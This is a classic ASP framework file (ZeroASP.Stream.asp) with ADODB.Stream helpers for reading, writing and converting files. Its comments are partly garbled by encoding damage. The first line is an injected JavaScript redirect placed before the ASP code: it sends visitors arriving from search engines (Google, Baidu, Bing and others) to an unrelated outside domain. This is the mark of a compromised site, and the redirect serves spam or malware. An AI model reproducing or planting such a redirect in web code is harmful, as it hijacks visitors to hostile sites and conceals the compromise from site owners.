d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Stream.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.Stream.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_Stream
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_Stream
016:
ZeroASP_Stream = "ZeroASP应用框架 - 扩展?
017:
End Sub
018:
019:
'字节转字符，XMLHTTP组件常用返回数据流读取使?
020:
Public Function BytesToBstr(ByVal Body,ByVal Cset)
021:
Dim objStream
022:
Set objStream = Server.CreateObject("ADODB.Stream")
023:
objStream.Type = 1 '设置或返?Stream 对象中的数据的类型，1为二进制?为文?
024:
objStream.Mode = 3 '设置或返回供修改数据的可用权限，1?2读写/3?
025:
objStream.Open '打开€?Stream 对象
026:
objStream.Write Body '把二进制数据写到€个二进制 Stream 对象
027:
objStream.Position = 0 '设置或返回从 Stream 对象€始处的当前位置（按字节计算）
028:
objStream.Type = 2 '设置或返?Stream 对象中的数据的类型，1为二进制?为文?
029:
objStream.Charset = Cset '指定用于存储 Stream 的字符集
030:
BytesToBstr = objStream.ReadText '从一个文?Stream 对象中读取全部流、一行或指定的字节数
031:
objStream.Close '关闭€?Stream 对象
032:
Set objStream = Nothing '€毁对?
033:
End Function
034:
035:
'以文本形式读取文件，动€加载文?
036:
Public Function ReadFile(ByVal Path)
037:
Dim objStream
038:
Set objStream = Server.CreateObject("ADODB.Stream")
039:
With objStream
040:
.Type = 2
041:
.Mode = 3
042:
.Open
043:
.LoadFromFile Server.MapPath(Path)
044:
.Charset = "UTF-8"
045:
.Position = 2
046:
ReadFile = .ReadText
047:
.Close
048:
End With
049:
Set objStream = Nothing
050:
End Function
051:
052:
'以二进制数据写入文件，远程文件本地保?
053:
Public Sub SaveFile(ByVal Data,ByVal Path)
054:
Dim objStream
055:
Set objStream = Server.CreateObject("ADODB.Stream")
056:
objStream.Type = 1 '设置或返?Stream 对象中的数据的类型，1为二进制?为文?
057:
objStream.Mode = 3 '设置或返回供修改数据的可用权限，1?2读写/3?
058:
objStream.Open() '打开€?Stream 对象
059:
objStream.Position = 0 '设置或返回从 Stream 对象€始处的当前位置（按字节计算）
060:
objStream.Write(Data) '把二进制数据写到€个二进制 Stream 对象
061:
Call objStream.SaveToFile(Path,2) '把一?Stream 对象的二进制内容保存到某个文件，1为不存在则创建，2为覆?
062:
objStream.Close
063:
Set objStream = Nothing
064:
End Sub
065:
066:
'以文本形式写入文?
067:
Public Sub WriteFile(ByVal Path,ByVal Str,ByVal Cset)
068:
Dim objStream
069:
Set objStream = Server.CreateObject("ADODB.Stream")
070:
objStream.Type = 2 '以文本模式读?
071:
objStream.Mode = 3
072:
objStream.Charset = Cset
073:
objStream.Open
074:
objStream.WriteText Str
075:
Call objStream.SaveToFile(Server.MapPath(Path),2)
076:
objStream.Flush
077:
objStream.Close
078:
Set objStream = Nothing
079:
End Sub
080:
081:
End Class
082:
%
>
083:
084: